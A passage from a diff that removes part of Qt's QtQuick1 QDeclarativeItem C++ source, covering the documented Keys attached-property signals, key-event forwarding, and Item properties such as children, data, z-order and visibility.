\o parent item - \endlist - - If the event is accepted during any of the above steps, key - propagation stops. - - \sa KeyEvent, {KeyNavigation}{KeyNavigation attached property} -*/ - -/*! - \qmlproperty bool QtQuick1::Keys::enabled - - This flags enables key handling if true (default); otherwise - no key handlers will be called. -*/ - -/*! - \qmlproperty enumeration QtQuick1::Keys::priority - - This property determines whether the keys are processed before - or after the attached item's own key handling. - - \list - \o Keys.BeforeItem (default) - process the key events before normal - item key processing. If the event is accepted it will not - be passed on to the item. - \o Keys.AfterItem - process the key events after normal item key - handling. If the item accepts the key event it will not be - handled by the Keys attached property handler. - \endlist -*/ - -/*! - \qmlproperty list QtQuick1::Keys::forwardTo - - This property provides a way to forward key presses, key releases, and keyboard input - coming from input methods to other items. This can be useful when you want - one item to handle some keys (e.g. the up and down arrow keys), and another item to - handle other keys (e.g. the left and right arrow keys). Once an item that has been - forwarded keys accepts the event it is no longer forwarded to items later in the - list. - - This example forwards key events to two lists: - \qml - Item { - ListView { - id: list1 - // ... - } - ListView { - id: list2 - // ... - } - Keys.forwardTo: [list1, list2] - focus: true - } - \endqml -*/ - -/*! - \qmlsignal QtQuick1::Keys::onPressed(KeyEvent event) - - This handler is called when a key has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onReleased(KeyEvent event) - - This handler is called when a key has been released. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onDigit0Pressed(KeyEvent event) - - This handler is called when the digit '0' has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onDigit1Pressed(KeyEvent event) - - This handler is called when the digit '1' has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onDigit2Pressed(KeyEvent event) - - This handler is called when the digit '2' has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onDigit3Pressed(KeyEvent event) - - This handler is called when the digit '3' has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onDigit4Pressed(KeyEvent event) - - This handler is called when the digit '4' has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onDigit5Pressed(KeyEvent event) - - This handler is called when the digit '5' has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onDigit6Pressed(KeyEvent event) - - This handler is called when the digit '6' has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onDigit7Pressed(KeyEvent event) - - This handler is called when the digit '7' has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onDigit8Pressed(KeyEvent event) - - This handler is called when the digit '8' has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onDigit9Pressed(KeyEvent event) - - This handler is called when the digit '9' has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onLeftPressed(KeyEvent event) - - This handler is called when the Left arrow has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onRightPressed(KeyEvent event) - - This handler is called when the Right arrow has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onUpPressed(KeyEvent event) - - This handler is called when the Up arrow has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onDownPressed(KeyEvent event) - - This handler is called when the Down arrow has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onTabPressed(KeyEvent event) - - This handler is called when the Tab key has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onBacktabPressed(KeyEvent event) - - This handler is called when the Shift+Tab key combination (Backtab) has - been pressed. The \a event parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onAsteriskPressed(KeyEvent event) - - This handler is called when the Asterisk '*' has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onEscapePressed(KeyEvent event) - - This handler is called when the Escape key has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onReturnPressed(KeyEvent event) - - This handler is called when the Return key has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onEnterPressed(KeyEvent event) - - This handler is called when the Enter key has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onDeletePressed(KeyEvent event) - - This handler is called when the Delete key has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onSpacePressed(KeyEvent event) - - This handler is called when the Space key has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onBackPressed(KeyEvent event) - - This handler is called when the Back key has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onCancelPressed(KeyEvent event) - - This handler is called when the Cancel key has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onSelectPressed(KeyEvent event) - - This handler is called when the Select key has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onYesPressed(KeyEvent event) - - This handler is called when the Yes key has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onNoPressed(KeyEvent event) - - This handler is called when the No key has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onContext1Pressed(KeyEvent event) - - This handler is called when the Context1 key has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onContext2Pressed(KeyEvent event) - - This handler is called when the Context2 key has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onContext3Pressed(KeyEvent event) - - This handler is called when the Context3 key has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onContext4Pressed(KeyEvent event) - - This handler is called when the Context4 key has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onCallPressed(KeyEvent event) - - This handler is called when the Call key has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onHangupPressed(KeyEvent event) - - This handler is called when the Hangup key has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onFlipPressed(KeyEvent event) - - This handler is called when the Flip key has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onMenuPressed(KeyEvent event) - - This handler is called when the Menu key has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onVolumeUpPressed(KeyEvent event) - - This handler is called when the VolumeUp key has been pressed. The \a event - parameter provides information about the event. -*/ - -/*! - \qmlsignal QtQuick1::Keys::onVolumeDownPressed(KeyEvent event) - - This handler is called when the VolumeDown key has been pressed. The \a event - parameter provides information about the event. -*/ - -const QDeclarative1KeysAttached::SigMap QDeclarative1KeysAttached::sigMap[] = { - { Qt::Key_Left, "leftPressed" }, - { Qt::Key_Right, "rightPressed" }, - { Qt::Key_Up, "upPressed" }, - { Qt::Key_Down, "downPressed" }, - { Qt::Key_Tab, "tabPressed" }, - { Qt::Key_Backtab, "backtabPressed" }, - { Qt::Key_Asterisk, "asteriskPressed" }, - { Qt::Key_NumberSign, "numberSignPressed" }, - { Qt::Key_Escape, "escapePressed" }, - { Qt::Key_Return, "returnPressed" }, - { Qt::Key_Enter, "enterPressed" }, - { Qt::Key_Delete, "deletePressed" }, - { Qt::Key_Space, "spacePressed" }, - { Qt::Key_Back, "backPressed" }, - { Qt::Key_Cancel, "cancelPressed" }, - { Qt::Key_Select, "selectPressed" }, - { Qt::Key_Yes, "yesPressed" }, - { Qt::Key_No, "noPressed" }, - { Qt::Key_Context1, "context1Pressed" }, - { Qt::Key_Context2, "context2Pressed" }, - { Qt::Key_Context3, "context3Pressed" }, - { Qt::Key_Context4, "context4Pressed" }, - { Qt::Key_Call, "callPressed" }, - { Qt::Key_Hangup, "hangupPressed" }, - { Qt::Key_Flip, "flipPressed" }, - { Qt::Key_Menu, "menuPressed" }, - { Qt::Key_VolumeUp, "volumeUpPressed" }, - { Qt::Key_VolumeDown, "volumeDownPressed" }, - { 0, 0 } -}; - -bool QDeclarative1KeysAttachedPrivate::isConnected(const char *signalName) -{ - return isSignalConnected(signalIndex(signalName)); -} - -QDeclarative1KeysAttached::QDeclarative1KeysAttached(QObject *parent) -: QObject(*(new QDeclarative1KeysAttachedPrivate), parent), - QDeclarativeItemKeyFilter(qobject_cast(parent)) -{ - Q_D(QDeclarative1KeysAttached); - m_processPost = false; - d->item = qobject_cast(parent); -} - -QDeclarative1KeysAttached::~QDeclarative1KeysAttached() -{ -} - -QDeclarative1KeysAttached::Priority QDeclarative1KeysAttached::priority() const -{ - return m_processPost ? AfterItem : BeforeItem; -} - -void QDeclarative1KeysAttached::setPriority(Priority order) -{ - bool processPost = order == AfterItem; - if (processPost != m_processPost) { - m_processPost = processPost; - emit priorityChanged(); - } -} - -void QDeclarative1KeysAttached::componentComplete() -{ - Q_D(QDeclarative1KeysAttached); - if (d->item) { - for (int ii = 0; ii < d->targets.count(); ++ii) { - QGraphicsItem *targetItem = d->finalFocusProxy(d->targets.at(ii)); - if (targetItem && (targetItem->flags() & QGraphicsItem::ItemAcceptsInputMethod)) { - d->item->setFlag(QGraphicsItem::ItemAcceptsInputMethod); - break; - } - } - } -} - -void QDeclarative1KeysAttached::keyPressed(QKeyEvent *event, bool post) -{ - Q_D(QDeclarative1KeysAttached); - if (post != m_processPost || !d->enabled || d->inPress) { - event->ignore(); - QDeclarativeItemKeyFilter::keyPressed(event, post); - return; - } - - // first process forwards - if (d->item && d->item->scene()) { - d->inPress = true; - for (int ii = 0; ii < d->targets.count(); ++ii) { - QGraphicsItem *i = d->finalFocusProxy(d->targets.at(ii)); - if (i && i->isVisible()) { - d->item->scene()->sendEvent(i, event); - if (event->isAccepted()) { - d->inPress = false; - return; - } - } - } - d->inPress = false; - } - - QDeclarative1KeyEvent ke(*event); - QByteArray keySignal = keyToSignal(event->key()); - if (!keySignal.isEmpty()) { - keySignal += "(QDeclarative1KeyEvent*)"; - if (d->isConnected(keySignal)) { - // If we specifically handle a key then default to accepted - ke.setAccepted(true); - int idx = QDeclarative1KeysAttached::staticMetaObject.indexOfSignal(keySignal); - metaObject()->method(idx).invoke(this, Qt::DirectConnection, Q_ARG(QDeclarative1KeyEvent*, &ke)); - } - } - if (!ke.isAccepted()) - emit pressed(&ke); - event->setAccepted(ke.isAccepted()); - - if (!event->isAccepted()) QDeclarativeItemKeyFilter::keyPressed(event, post); -} - -void QDeclarative1KeysAttached::keyReleased(QKeyEvent *event, bool post) -{ - Q_D(QDeclarative1KeysAttached); - if (post != m_processPost || !d->enabled || d->inRelease) { - event->ignore(); - QDeclarativeItemKeyFilter::keyReleased(event, post); - return; - } - - if (d->item && d->item->scene()) { - d->inRelease = true; - for (int ii = 0; ii < d->targets.count(); ++ii) { - QGraphicsItem *i = d->finalFocusProxy(d->targets.at(ii)); - if (i && i->isVisible()) { - d->item->scene()->sendEvent(i, event); - if (event->isAccepted()) { - d->inRelease = false; - return; - } - } - } - d->inRelease = false; - } - - QDeclarative1KeyEvent ke(*event); - emit released(&ke); - event->setAccepted(ke.isAccepted()); - - if (!event->isAccepted()) QDeclarativeItemKeyFilter::keyReleased(event, post); -} - -void QDeclarative1KeysAttached::inputMethodEvent(QInputMethodEvent *event, bool post) -{ - Q_D(QDeclarative1KeysAttached); - if (post == m_processPost && d->item && !d->inIM && d->item->scene()) { - d->inIM = true; - for (int ii = 0; ii < d->targets.count(); ++ii) { - QGraphicsItem *i = d->finalFocusProxy(d->targets.at(ii)); - if (i && i->isVisible() && (i->flags() & QGraphicsItem::ItemAcceptsInputMethod)) { - d->item->scene()->sendEvent(i, event); - if (event->isAccepted()) { - d->imeItem = i; - d->inIM = false; - return; - } - } - } - d->inIM = false; - } - if (!event->isAccepted()) QDeclarativeItemKeyFilter::inputMethodEvent(event, post); -} - -class QDeclarativeItemAccessor : public QGraphicsItem -{ -public: - QVariant doInputMethodQuery(Qt::InputMethodQuery query) const { - return QGraphicsItem::inputMethodQuery(query); - } -}; - -QVariant QDeclarative1KeysAttached::inputMethodQuery(Qt::InputMethodQuery query) const -{ - Q_D(const QDeclarative1KeysAttached); - if (d->item) { - for (int ii = 0; ii < d->targets.count(); ++ii) { - QGraphicsItem *i = d->finalFocusProxy(d->targets.at(ii)); - if (i && i->isVisible() && (i->flags() & QGraphicsItem::ItemAcceptsInputMethod) && i == d->imeItem) { //### how robust is i == d->imeItem check? - QVariant v = static_cast(i)->doInputMethodQuery(query); - if (v.userType() == QVariant::RectF) - v = d->item->mapRectFromItem(i, v.toRectF()); //### cost? - return v; - } - } - } - return QDeclarativeItemKeyFilter::inputMethodQuery(query); -} - -QDeclarative1KeysAttached *QDeclarative1KeysAttached::qmlAttachedProperties(QObject *obj) -{ - return new QDeclarative1KeysAttached(obj); -} - -/*! - \class QDeclarativeItem - \since QtQuick 1.0 - \brief The QDeclarativeItem class provides the most basic of all visual items in QML. - - All visual items in Qt Declarative inherit from QDeclarativeItem. Although QDeclarativeItem - has no visual appearance, it defines all the properties that are - common across visual items - such as the x and y position, the - width and height, \l {anchor-layout}{anchoring} and key handling. - - You can subclass QDeclarativeItem to provide your own custom visual item that inherits - these features. Note that, because it does not draw anything, QDeclarativeItem sets the - QGraphicsItem::ItemHasNoContents flag. If you subclass QDeclarativeItem to create a visual - item, you will need to unset this flag. - -*/ - -/*! - \qmlclass Item QDeclarativeItem - \inqmlmodule QtQuick 1 - \ingroup qml-basic-visual-elements - \since QtQuick 1.0 - \brief The Item is the most basic of all visual items in QML. - - All visual items in Qt Declarative inherit from Item. Although Item - has no visual appearance, it defines all the properties that are - common across visual items - such as the x and y position, the - width and height, \l {anchor-layout}{anchoring} and key handling. - - Item is also useful for grouping items together. - - \qml - Item { - Image { - source: "tile.png" - } - Image { - x: 80 - width: 100 - height: 100 - source: "tile.png" - } - Image { - x: 190 - width: 100 - height: 100 - fillMode: Image.Tile - source: "tile.png" - } - } - \endqml - - - \section1 Key Handling - - Key handling is available to all Item-based visual elements via the \l {Keys}{Keys} - attached property. The \e Keys attached property provides basic handlers such - as \l {Keys::onPressed}{onPressed} and \l {Keys::onReleased}{onReleased}, - as well as handlers for specific keys, such as - \l {Keys::onCancelPressed}{onCancelPressed}. The example below - assigns \l {qmlfocus}{focus} to the item and handles - the Left key via the general \e onPressed handler and the Select key via the - onSelectPressed handler: - - \qml - Item { - focus: true - Keys.onPressed: { - if (event.key == Qt.Key_Left) { - console.log("move left"); - event.accepted = true; - } - } - Keys.onSelectPressed: console.log("Selected"); - } - \endqml - - See the \l {Keys}{Keys} attached property for detailed documentation. - - \section1 Layout Mirroring - - Item layouts can be mirrored using the \l {LayoutMirroring}{LayoutMirroring} attached property. - -*/ - -/*! - \fn void QDeclarativeItem::childrenRectChanged(const QRectF &) - \internal -*/ - -/*! - \fn void QDeclarativeItem::baselineOffsetChanged(qreal) - \internal -*/ - -/*! - \fn void QDeclarativeItem::stateChanged(const QString &state) - \internal -*/ - -/*! - \fn void QDeclarativeItem::parentChanged(QDeclarativeItem *) - \internal -*/ - -/*! - \fn void QDeclarativeItem::smoothChanged(bool) - \internal -*/ - -/*! - \fn void QDeclarativeItem::clipChanged(bool) - \internal -*/ - -/*! \fn void QDeclarativeItem::transformOriginChanged(TransformOrigin) - \internal -*/ - -/*! - \fn void QDeclarativeItem::focusChanged(bool) - \internal -*/ - -/*! - \fn void QDeclarativeItem::activeFocusChanged(bool) - \internal -*/ - -// ### Must fix -namespace { -struct RegisterAnchorLineAtStartup { - RegisterAnchorLineAtStartup() { - qRegisterMetaType("QDeclarative1AnchorLine"); - } -}; -static RegisterAnchorLineAtStartup registerAnchorLineAtStartup; -} - - -/*! - \fn QDeclarativeItem::QDeclarativeItem(QDeclarativeItem *parent) - - Constructs a QDeclarativeItem with the given \a parent. -*/ -QDeclarativeItem::QDeclarativeItem(QDeclarativeItem* parent) - : QGraphicsObject(*(new QDeclarativeItemPrivate), parent, 0) -{ - Q_D(QDeclarativeItem); - d->init(parent); -} - -/*! \internal -*/ -QDeclarativeItem::QDeclarativeItem(QDeclarativeItemPrivate &dd, QDeclarativeItem *parent) - : QGraphicsObject(dd, parent, 0) -{ - Q_D(QDeclarativeItem); - d->init(parent); -} - -/*! - Destroys the QDeclarativeItem. -*/ -QDeclarativeItem::~QDeclarativeItem() -{ - Q_D(QDeclarativeItem); - for (int ii = 0; ii < d->changeListeners.count(); ++ii) { - QDeclarative1AnchorsPrivate *anchor = d->changeListeners.at(ii).listener->anchorPrivate(); - if (anchor) - anchor->clearItem(this); - } - if (!d->parent || (parentItem() && !parentItem()->QGraphicsItem::d_ptr->inDestructor)) { - for (int ii = 0; ii < d->changeListeners.count(); ++ii) { - QDeclarative1AnchorsPrivate *anchor = d->changeListeners.at(ii).listener->anchorPrivate(); - if (anchor && anchor->item && anchor->item->parentItem() != this) //child will be deleted anyway - anchor->updateOnComplete(); - } - } - for(int ii = 0; ii < d->changeListeners.count(); ++ii) { - const QDeclarativeItemPrivate::ChangeListener &change = d->changeListeners.at(ii); - if (change.types & QDeclarativeItemPrivate::Destroyed) - change.listener->itemDestroyed(this); - } - d->changeListeners.clear(); - delete d->_anchorLines; d->_anchorLines = 0; - delete d->_anchors; d->_anchors = 0; - delete d->_stateGroup; d->_stateGroup = 0; - delete d->_contents; d->_contents = 0; -} - -/*! - \qmlproperty enumeration QtQuick1::Item::transformOrigin - This property holds the origin point around which scale and rotation transform. - - Nine transform origins are available, as shown in the image below. - - \image declarative-transformorigin.png - - This example rotates an image around its bottom-right corner. - \qml - Image { - source: "myimage.png" - transformOrigin: Item.BottomRight - rotation: 45 - } - \endqml - - The default transform origin is \c Item.Center. - - To set an arbitrary transform origin point use the \l Scale or \l Rotation - transform elements. -*/ - -/*! - \qmlproperty Item QtQuick1::Item::parent - This property holds the parent of the item. -*/ - -/*! - \property QDeclarativeItem::parent - This property holds the parent of the item. -*/ -void QDeclarativeItem::setParentItem(QDeclarativeItem *parent) -{ - Q_D(QDeclarativeItem); - QGraphicsObject::setParentItem(parent); - if (d->isAccessible && parentItem()) { - parentItem()->d_func()->setAccessibleFlagAndListener(); - } -} - -/*! - Returns the QDeclarativeItem parent of this item. -*/ -QDeclarativeItem *QDeclarativeItem::parentItem() const -{ - return qobject_cast(QGraphicsObject::parentItem()); -} - -/*! - \qmlproperty real QtQuick1::Item::childrenRect.x - \qmlproperty real QtQuick1::Item::childrenRect.y - \qmlproperty real QtQuick1::Item::childrenRect.width - \qmlproperty real QtQuick1::Item::childrenRect.height - - The childrenRect properties allow an item access to the geometry of its - children. This property is useful if you have an item that needs to be - sized to fit its children. -*/ - - -/*! - \qmlproperty list QtQuick1::Item::children - \qmlproperty list QtQuick1::Item::resources - - The children property contains the list of visual children of this item. - The resources property contains non-visual resources that you want to - reference by name. - - Generally you can rely on Item's default property to handle all this for - you, but it can come in handy in some cases. - - \qml - Item { - children: [ - Text {}, - Rectangle {} - ] - resources: [ - Component { - id: myComponent - Text {} - } - ] - } - \endqml -*/ - -/*! - Returns true if construction of the QML component is complete; otherwise - returns false. - - It is often desirable to delay some processing until the component is - completed. - - \sa componentComplete() -*/ -bool QDeclarativeItem::isComponentComplete() const -{ - Q_D(const QDeclarativeItem); - return d->componentComplete; -} - -void QDeclarativeItemPrivate::data_append(QDeclarativeListProperty *prop, QObject *o) -{ - if (!o) - return; - - QDeclarativeItem *that = static_cast(prop->object); - - // This test is measurably (albeit only slightly) faster than qobject_cast<>() - const QMetaObject *mo = o->metaObject(); - while (mo && mo != &QGraphicsObject::staticMetaObject) mo = mo->d.superdata; - - if (mo) { - QGraphicsObject *graphicsObject = static_cast(o); - QDeclarativeItemPrivate *contentItemPrivate = static_cast(QGraphicsItemPrivate::get(graphicsObject)); - if (contentItemPrivate->componentComplete) { - graphicsObject->setParentItem(that); - } else { - contentItemPrivate->setParentItemHelper(that, /*newParentVariant=*/0, /*thisPointerVariant=*/0); - } - } else { - o->setParent(that); - } -} - -static inline int children_count_helper(QDeclarativeListProperty *prop) -{ - QGraphicsItemPrivate *d = QGraphicsItemPrivate::get(static_cast(prop->object)); - return d->children.count(); -} - -static inline QObject *children_at_helper(QDeclarativeListProperty *prop, int index) -{ - QGraphicsItemPrivate *d = QGraphicsItemPrivate::get(static_cast(prop->object)); - if (index >= 0 && index < d->children.count()) - return d->children.at(index)->toGraphicsObject(); - else - return 0; -} - -static inline void children_clear_helper(QDeclarativeListProperty *prop) -{ - QDeclarativeItemPrivate *d = static_cast(QGraphicsItemPrivate::get(static_cast(prop->object))); - int childCount = d->children.count(); - if (d->componentComplete) { - for (int index = 0 ;index < childCount; index++) - d->children.at(0)->setParentItem(0); - } else { - for (int index = 0 ;index < childCount; index++) - QGraphicsItemPrivate::get(d->children.at(0))->setParentItemHelper(0, /*newParentVariant=*/0, /*thisPointerVariant=*/0); - } -} - -int QDeclarativeItemPrivate::data_count(QDeclarativeListProperty *prop) -{ - return resources_count(prop) + children_count_helper(prop); -} - -QObject *QDeclarativeItemPrivate::data_at(QDeclarativeListProperty *prop, int i) -{ - int resourcesCount = resources_count(prop); - if (i < resourcesCount) - return resources_at(prop, i); - const int j = i - resourcesCount; - if (j < children_count_helper(prop)) - return children_at_helper(prop, j); - return 0; -} - -void QDeclarativeItemPrivate::data_clear(QDeclarativeListProperty *prop) -{ - resources_clear(prop); - children_clear_helper(prop); -} - -QObject *QDeclarativeItemPrivate::resources_at(QDeclarativeListProperty *prop, int index) -{ - const QObjectList children = prop->object->children(); - if (index < children.count()) - return children.at(index); - else - return 0; -} - -void QDeclarativeItemPrivate::resources_append(QDeclarativeListProperty *prop, QObject *o) -{ - o->setParent(prop->object); -} - -int QDeclarativeItemPrivate::resources_count(QDeclarativeListProperty *prop) -{ - return prop->object->children().count(); -} - -void QDeclarativeItemPrivate::resources_clear(QDeclarativeListProperty *prop) -{ - const QObjectList children = prop->object->children(); - for (int index = 0; index < children.count(); index++) - children.at(index)->setParent(0); -} - -int QDeclarativeItemPrivate::transform_count(QDeclarativeListProperty *list) -{ - QGraphicsObject *object = qobject_cast(list->object); - if (object) { - QGraphicsItemPrivate *d = QGraphicsItemPrivate::get(object); - return d->transformData ? d->transformData->graphicsTransforms.size() : 0; - } else { - return 0; - } -} - -void QDeclarativeItemPrivate::transform_append(QDeclarativeListProperty *list, QGraphicsTransform *item) -{ - QGraphicsObject *object = qobject_cast(list->object); - if (object && item) // QGraphicsItem applies the list in the wrong order, so we prepend. - QGraphicsItemPrivate::get(object)->prependGraphicsTransform(item); -} - -QGraphicsTransform *QDeclarativeItemPrivate::transform_at(QDeclarativeListProperty *list, int idx) -{ - QGraphicsObject *object = qobject_cast(list->object); - if (object) { - QGraphicsItemPrivate *d = QGraphicsItemPrivate::get(object); - if (!d->transformData) - return 0; - return d->transformData->graphicsTransforms.at(idx); - } else { - return 0; - } -} - -void QDeclarativeItemPrivate::transform_clear(QDeclarativeListProperty *list) -{ - QGraphicsObject *object = qobject_cast(list->object); - if (object) { - QGraphicsItemPrivate *d = QGraphicsItemPrivate::get(object); - if (!d->transformData) - return; - object->setTransformations(QList()); - } -} - -/*! - \qmlproperty list QtQuick1::Item::data - \default - - The data property allows you to freely mix visual children and resources - in an item. If you assign a visual item to the data list it becomes - a child and if you assign any other object type, it is added as a resource. - - So you can write: - \qml - Item { - Text {} - Rectangle {} - Timer {} - } - \endqml - - instead of: - \qml - Item { - children: [ - Text {}, - Rectangle {} - ] - resources: [ - Timer {} - ] - } - \endqml - - data is a behind-the-scenes property: you should never need to explicitly - specify it. - */ - -QDeclarativeListProperty QDeclarativeItemPrivate::data() -{ - return QDeclarativeListProperty(q_func(), 0, QDeclarativeItemPrivate::data_append, - QDeclarativeItemPrivate::data_count, - QDeclarativeItemPrivate::data_at, - QDeclarativeItemPrivate::data_clear - ); -} - -/*! - \property QDeclarativeItem::childrenRect - \brief The geometry of an item's children. - - This property holds the (collective) position and size of the item's children. -*/ -QRectF QDeclarativeItem::childrenRect() -{ - Q_D(QDeclarativeItem); - if (!d->_contents) { - d->_contents = new QDeclarative1Contents(this); - if (d->componentComplete) - d->_contents->complete(); - } - return d->_contents->rectF(); -} - -bool QDeclarativeItem::clip() const -{ - return flags() & ItemClipsChildrenToShape; -} - -void QDeclarativeItem::setClip(bool c) -{ - if (clip() == c) - return; - setFlag(ItemClipsChildrenToShape, c); - emit clipChanged(c); -} - -/*! - \qmlproperty real QtQuick1::Item::x - \qmlproperty real QtQuick1::Item::y - \qmlproperty real QtQuick1::Item::width - \qmlproperty real QtQuick1::Item::height - - Defines the item's position and size relative to its parent. - - \qml - Item { x: 100; y: 100; width: 100; height: 100 } - \endqml - */ - -/*! - \qmlproperty real QtQuick1::Item::z - - Sets the stacking order of sibling items. By default the stacking order is 0. - - Items with a higher stacking value are drawn on top of siblings with a - lower stacking order. Items with the same stacking value are drawn - bottom up in the order they appear. Items with a negative stacking - value are drawn under their parent's content. - - The following example shows the various effects of stacking order. - - \table - \row - \o \image declarative-item_stacking1.png - \o Same \c z - later children above earlier children: - \qml - Item { - Rectangle { - color: "red" - width: 100; height: 100 - } - Rectangle { - color: "blue" - x: 50; y: 50; width: 100; height: 100 - } - } - \endqml - \row - \o \image declarative-item_stacking2.png - \o Higher \c z on top: - \qml - Item { - Rectangle { - z: 1 - color: "red" - width: 100; height: 100 - } - Rectangle { - color: "blue" - x: 50; y: 50; width: 100; height: 100 - } - } - \endqml - \row - \o \image declarative-item_stacking3.png - \o Same \c z - children above parents: - \qml - Item { - Rectangle { - color: "red" - width: 100; height: 100 - Rectangle { - color: "blue" - x: 50; y: 50; width: 100; height: 100 - } - } - } - \endqml - \row - \o \image declarative-item_stacking4.png - \o Lower \c z below: - \qml - Item { - Rectangle { - color: "red" - width: 100; height: 100 - Rectangle { - z: -1 - color: "blue" - x: 50; y: 50; width: 100; height: 100 - } - } - } - \endqml - \endtable - */ - -/*! - \qmlproperty bool QtQuick1::Item::visible - - This property holds whether the item is visible. By default this is true. - - Setting this property directly affects the \c visible value of child - items. When set to \c false, the \c visible values of all child items also - become \c false. When set to \c true, the \c visible values of child items - are returned to \c true, unless they have explicitly been set to \c false. - - (Because of this flow-on behavior, using the \c visible property may not - have the intended effect if a property binding should only respond to - explicit property changes. In such cases it may be better to use the - \l opacity property instead.) - - Setting this property to \c false automatically causes \l focus to be set - to \c false, and this item will longer receive mouse and keyboard events. - (In contrast, setting the \l opacity to 0 does not affect the \l focus - property and the receiving of key events.) - - \note This property's value is only affected by changes to this property or - the parent's \c visible property. It does not change, for example, if this - item moves off-screen, or if the \l opacity changes to 0. -*/ - - -/*! - This function is called to handle this item's changes in - geometry from \a oldGeometry to \a newGeometry. If the two - geometries are the same, it doesn't do anything. - */ -void QDeclarativeItem::geometryChanged(const QRectF &newGeometry, - const QRectF &oldGeometry) -{ - Q_D(QDeclarativeItem); - - if (d->_anchors) - d->_anchors->d_func()->updateMe(); - - if (transformOrigin() != QDeclarativeItem::TopLeft - && (newGeometry.width() != oldGeometry.width() || newGeometry.height() != oldGeometry.height())) { - if (d->transformData) { - QPointF origin = d->computeTransformOrigin(); - if (transformOriginPoint() != origin) - setTransformOriginPoint(origin); - } else { - d->transformOriginDirty = true; - } - } - - for(int ii = 0; ii < d->changeListeners.count(); ++ii) { - const QDeclarativeItemPrivate::ChangeListener &change = d->changeListeners.at(ii); - if (change.types & QDeclarativeItemPrivate::Geometry) - change.listener->itemGeometryChanged(this, newGeometry, oldGeometry); - } - - if (newGeometry.width() != oldGeometry.width()) - emit widthChanged(); - if (newGeometry.height() != oldGeometry.height()) - emit heightChanged(); -} - -void QDeclarativeItemPrivate::removeItemChangeListener(QDeclarativeItemChangeListener *listener, ChangeTypes types) -{ - ChangeListener change(listener, types); - changeListeners.removeOne(change); -} - -/*! \internal */ -void QDeclarativeItem::keyPressEvent(QKeyEvent *event) -{ - Q_D(QDeclarativeItem); - keyPressPreHandler(event); - if (event->isAccepted()) - return; - if (d->keyHandler) - d->keyHandler->keyPressed(event, true); - else - event->ignore(); -} - -/*! \internal */ -void QDeclarativeItem::keyReleaseEvent(QKeyEvent *event) -{ - Q_D(QDeclarativeItem); - keyReleasePreHandler(event); - if (event->isAccepted()) - return; - if (d->keyHandler) - d->keyHandler->keyReleased(event, true); - else - event->ignore(); -} - -/*! \internal */ -void QDeclarativeItem::inputMethodEvent(QInputMethodEvent *event) -{ - Q_D(QDeclarativeItem); - inputMethodPreHandler(event); - if (event->isAccepted()) - return; - if (d->keyHandler) - d->keyHandler->inputMethodEvent(event, true); - else - event->ignore(); -} - -/*! \internal */ -QVariant QDeclarativeItem::inputMethodQuery(Qt::InputMethodQuery query) const -{ - Q_D(const QDeclarativeItem); - QVariant v; - if (d->keyHandler) - v = d->keyHandler->inputMethodQuery(query); - - if (!v.isValid()) - v = QGraphicsObject::inputMethodQuery(query); - - return v; -} - -/*! - \internal - */ -void QDeclarativeItem::keyPressPreHandler(QKeyEvent *event) -{ - Q_D(QDeclarativeItem); - if (d->keyHandler && !d->doneEventPreHandler) - d->keyHandler->keyPressed(event, false); - else - event->ignore(); - d->doneEventPreHandler = true; -} - -/*! - \internal - */ -void 